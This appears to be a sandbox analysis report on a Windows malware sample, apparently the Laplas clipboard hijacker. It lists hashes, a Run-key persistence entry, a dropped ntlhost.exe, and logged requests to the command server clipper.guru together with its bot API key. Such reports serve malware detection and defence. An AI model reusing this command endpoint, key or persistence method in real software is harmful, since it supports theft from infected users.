Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
151s -
max time network
147s -
platform
windows10-2004_x64 -
resource
win10v2004-20230703-en -
resource tags
arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system -
submitted
25/07/2023, 01:27 UTC
Static task
static1
Behavioral task
behavioral1
Sample
4a1f597ed9fb89832e1182a9209d9a65453432e7a445e37c99cafd32963e429e.exe
Resource
win7-20230712-en
Behavioral task
behavioral2
Sample
4a1f597ed9fb89832e1182a9209d9a65453432e7a445e37c99cafd32963e429e.exe
Resource
win10v2004-20230703-en
General
-
Target
4a1f597ed9fb89832e1182a9209d9a65453432e7a445e37c99cafd32963e429e.exe
-
Size
1.8MB
-
MD5
68732e21f497396296e93fb7277add61
-
SHA1
1fdec6fc0ab4647491cb163a732d985bf6e75f16
-
SHA256
4a1f597ed9fb89832e1182a9209d9a65453432e7a445e37c99cafd32963e429e
-
SHA512
b3b2deb42b8c1362642ac725f24a3fc59eade40da1bf5e9f2a66e634ab8f7e3ad75a3eee65003be6532b808ad299ec293a9ceae024217a5de68aa41b61134305
-
SSDEEP
49152:ZxP1ZMKdnhkmr5VlkA/azDEPKkb89KTYkr3T6:H1v9ViA/wkg9KTZ3T
Malware Config
Extracted
laplas
http://clipper.guru
-
api_key
0be23a6bec914a7d28f1aae995f036fdba93224093ddb48d02fe43e814862f4e
Extracted
laplas
http://clipper.guru
-
api_key
0be23a6bec914a7d28f1aae995f036fdba93224093ddb48d02fe43e814862f4e
Signatures
-
Executes dropped EXE 1 IoCs
pid Process 4512 ntlhost.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NTSystem = "C:\\Users\\Admin\\AppData\\Roaming\\NTSystem\\ntlhost.exe" 4a1f597ed9fb89832e1182a9209d9a65453432e7a445e37c99cafd32963e429e.exe -
GoLang User-Agent 1 IoCs
Uses default user-agent string defined by GoLang HTTP packages.
description flow ioc HTTP User-Agent header 43 Go-http-client/1.1 -
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 1216 wrote to memory of 4512 1216 4a1f597ed9fb89832e1182a9209d9a65453432e7a445e37c99cafd32963e429e.exe 92 PID 1216 wrote to memory of 4512 1216 4a1f597ed9fb89832e1182a9209d9a65453432e7a445e37c99cafd32963e429e.exe 92 PID 1216 wrote to memory of 4512 1216 4a1f597ed9fb89832e1182a9209d9a65453432e7a445e37c99cafd32963e429e.exe 92
Processes
-
C:\Users\Admin\AppData\Local\Temp\4a1f597ed9fb89832e1182a9209d9a65453432e7a445e37c99cafd32963e429e.exe"C:\Users\Admin\AppData\Local\Temp\4a1f597ed9fb89832e1182a9209d9a65453432e7a445e37c99cafd32963e429e.exe"1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:1216 -
C:\Users\Admin\AppData\Roaming\NTSystem\ntlhost.exeC:\Users\Admin\AppData\Roaming\NTSystem\ntlhost.exe2⤵
- Executes dropped EXE
PID:4512
-
Network
-
Remote address:8.8.8.8:53Request73.159.190.20.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request240.221.184.93.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request95.221.229.192.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request2.136.104.51.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request241.154.82.20.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request198.1.85.104.in-addr.arpaIN PTRResponse198.1.85.104.in-addr.arpaIN PTRa104-85-1-198deploystaticakamaitechnologiescom
-
Remote address:8.8.8.8:53Request208.194.73.20.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Requestclipper.guruIN AResponseclipper.guruIN A185.209.161.61
-
Remote address:185.209.161.61:80RequestGET /bot/regex HTTP/1.1
Host: clipper.guru
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
ResponseHTTP/1.1 200 OK
Date: Tue, 25 Jul 2023 01:28:27 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 633
Connection: keep-alive
-
GEThttp://clipper.guru/bot/online?key=0be23a6bec914a7d28f1aae995f036fdba93224093ddb48d02fe43e814862f4e&guid=MSXGLQPS\Adminntlhost.exeRemote address:185.209.161.61:80RequestGET /bot/online?key=0be23a6bec914a7d28f1aae995f036fdba93224093ddb48d02fe43e814862f4e&guid=MSXGLQPS\Admin HTTP/1.1
Host: clipper.guru
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
ResponseHTTP/1.1 200 OK
Date: Tue, 25 Jul 2023 01:28:27 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 2
Connection: keep-alive
-
Remote address:185.209.161.61:80RequestGET /bot/regex HTTP/1.1
Host: clipper.guru
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
ResponseHTTP/1.1 200 OK
Date: Tue, 25 Jul 2023 01:29:27 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 633
Connection: keep-alive
-
GEThttp://clipper.guru/bot/online?key=0be23a6bec914a7d28f1aae995f036fdba93224093ddb48d02fe43e814862f4e&guid=MSXGLQPS\Adminntlhost.exeRemote address:185.209.161.61:80RequestGET /bot/online?key=0be23a6bec914a7d28f1aae995f036fdba93224093ddb48d02fe43e814862f4e&guid=MSXGLQPS\Admin HTTP/1.1
Host: clipper.guru
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
ResponseHTTP/1.1 200 OK
Date: Tue, 25 Jul 2023 01:29:27 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 2
Connection: keep-alive
-
Remote address:185.209.161.61:80RequestGET /bot/regex HTTP/1.1
Host: clipper.guru
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
ResponseHTTP/1.1 200 OK
Date: Tue, 25 Jul 2023 01:30:28 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 633
Connection: keep-alive
-
GEThttp://clipper.guru/bot/online?key=0be23a6bec914a7d28f1aae995f036fdba93224093ddb48d02fe43e814862f4e&guid=MSXGLQPS\Adminntlhost.exeRemote address:185.209.161.61:80RequestGET /bot/online?key=0be23a6bec914a7d28f1aae995f036fdba93224093ddb48d02fe43e814862f4e&guid=MSXGLQPS\Admin HTTP/1.1
Host: clipper.guru
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
ResponseHTTP/1.1 200 OK
Date: Tue, 25 Jul 2023 01:30:28 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 2
Connection: keep-alive
-
Remote address:8.8.8.8:53Request61.161.209.185.in-addr.arpaIN PTRResponse61.161.209.185.in-addr.arpaIN PTR
-
Remote address:8.8.8.8:53Request157.123.68.40.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Requestwww.microsoft.comIN AResponsewww.microsoft.comIN CNAMEwww.microsoft.com-c-3.edgekey.netwww.microsoft.com-c-3.edgekey.netIN CNAMEwww.microsoft.com-c-3.edgekey.net.globalredir.akadns.netwww.microsoft.com-c-3.edgekey.net.globalredir.akadns.netIN CNAMEe13678.dscb.akamaiedge.nete13678.dscb.akamaiedge.netIN A104.85.1.163
-
Remote address:104.85.1.163:80RequestGET /pkiops/certs/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crt HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/10.0
Host: www.microsoft.com
ResponseHTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-MD5: YAUaFgF7vUODUG8XQQW6BQ==
Last-Modified: Fri, 28 Sep 2018 22:50:05 GMT
ETag: 0x8D62594BC0C84D8
x-ms-request-id: 31bd8fcd-b01e-0028-1005-d530cf000000
x-ms-version: 2009-09-19
x-ms-lease-status: unlocked
x-ms-blob-type: BlockBlob
Unused62: 8096267
X-EdgeConnect-Origin-MEX-Latency: 117
Date: Tue, 25 Jul 2023 01:28:39 GMT
Connection: keep-alive
TLS_version: UNKNOWN
ms-cv: CASMicrosoftCV1dbe2d93.0
ms-cv-esi: CASMicrosoftCV1dbe2d93.0
X-RTag: RT
-
Remote address:8.8.8.8:53Request198.187.3.20.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request163.1.85.104.in-addr.arpaIN PTRResponse163.1.85.104.in-addr.arpaIN PTRa104-85-1-163deploystaticakamaitechnologiescom
-
Remote address:8.8.8.8:53Request57.169.31.20.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request161.252.72.23.in-addr.arpaIN PTRResponse161.252.72.23.in-addr.arpaIN PTRa23-72-252-161deploystaticakamaitechnologiescom
-
Remote address:8.8.8.8:53Request8.3.197.209.in-addr.arpaIN PTRResponse8.3.197.209.in-addr.arpaIN PTRvip0x008map2sslhwcdnnet
-
Remote address:8.8.8.8:53Request73.254.224.20.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request253.15.104.51.in-addr.arpaIN PTRResponse
-
185.209.161.61:80http://clipper.guru/bot/online?key=0be23a6bec914a7d28f1aae995f036fdba93224093ddb48d02fe43e814862f4e&guid=MSXGLQPS\Adminhttpntlhost.exe1.5kB 3.6kB 14 16
HTTP Request
GET http://clipper.guru/bot/regexHTTP Response
200HTTP Request
GET http://clipper.guru/bot/online?key=0be23a6bec914a7d28f1aae995f036fdba93224093ddb48d02fe43e814862f4e&guid=MSXGLQPS\AdminHTTP Response
200HTTP Request
GET http://clipper.guru/bot/regexHTTP Response
200HTTP Request
GET http://clipper.guru/bot/online?key=0be23a6bec914a7d28f1aae995f036fdba93224093ddb48d02fe43e814862f4e&guid=MSXGLQPS\AdminHTTP Response
200HTTP Request
GET http://clipper.guru/bot/regexHTTP Response
200HTTP Request
GET http://clipper.guru/bot/online?key=0be23a6bec914a7d28f1aae995f036fdba93224093ddb48d02fe43e814862f4e&guid=MSXGLQPS\AdminHTTP Response
200 -
104.85.1.163:80http://www.microsoft.com/pkiops/certs/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crthttp418 B 1.8kB 5 4
HTTP Request
GET http://www.microsoft.com/pkiops/certs/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crtHTTP Response
200
-
72 B 158 B 1 1
DNS Request
73.159.190.20.in-addr.arpa
-
73 B 144 B 1 1
DNS Request
240.221.184.93.in-addr.arpa
-
73 B 144 B 1 1
DNS Request
95.221.229.192.in-addr.arpa
-
71 B 157 B 1 1
DNS Request
2.136.104.51.in-addr.arpa
-
72 B 158 B 1 1
DNS Request
241.154.82.20.in-addr.arpa
-
71 B 135 B 1 1
DNS Request
198.1.85.104.in-addr.arpa
-
72 B 158 B 1 1
DNS Request
208.194.73.20.in-addr.arpa
-
58 B 74 B 1 1
DNS Request
clipper.guru
DNS Response
185.209.161.61
-
73 B 86 B 1 1
DNS Request
61.161.209.185.in-addr.arpa
-
72 B 146 B 1 1
DNS Request
157.123.68.40.in-addr.arpa
-
63 B 230 B 1 1
DNS Request
www.microsoft.com
DNS Response
104.85.1.163
-
71 B 157 B 1 1
DNS Request
198.187.3.20.in-addr.arpa
-
71 B 135 B 1 1
DNS Request
163.1.85.104.in-addr.arpa
-
71 B 157 B 1 1
DNS Request
57.169.31.20.in-addr.arpa
-
72 B 137 B 1 1
DNS Request
161.252.72.23.in-addr.arpa
-
70 B 111 B 1 1
DNS Request
8.3.197.209.in-addr.arpa
-
72 B 158 B 1 1
DNS Request
73.254.224.20.in-addr.arpa
-
72 B 146 B 1 1
DNS Request
253.15.104.51.in-addr.arpa
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
593.6MB
MD5a5b62feff7b3773f167cfa1598e657ae
SHA13131f8fc0854d0174e2d511f9a615da9de697fa3
SHA256ccfe162b246bc3d9b867d0e97aca07dc9c0808b08cfdf545d189f0027de8d42f
SHA5123227ecf1022b8e72474aca4f55c94aa4fd98dae31a01a8fea9da2d07f64798b5f22a7cfdcb16e6b8624f701a9dc7795e2e8f3099fc071dc1712f533f18c98b3a
-
Filesize
519.2MB
MD5534db06b1e6a69fa02884ad797860f32
SHA123924acd4b77fc6bf55761875ac33ce23ea987dd
SHA256721ea543d4a35cd201aa0261305dfe2fba8725d1540f3fa4968691295fcbec50
SHA5127bc0a67f84eb7f8f8ccb2c53966f20b036ef6122e8694abc54e12778eb9c8a8ee0aefa26fa25d5a0860f93c05d34f4e6ce9378eb3b865778f7cf0566cad41801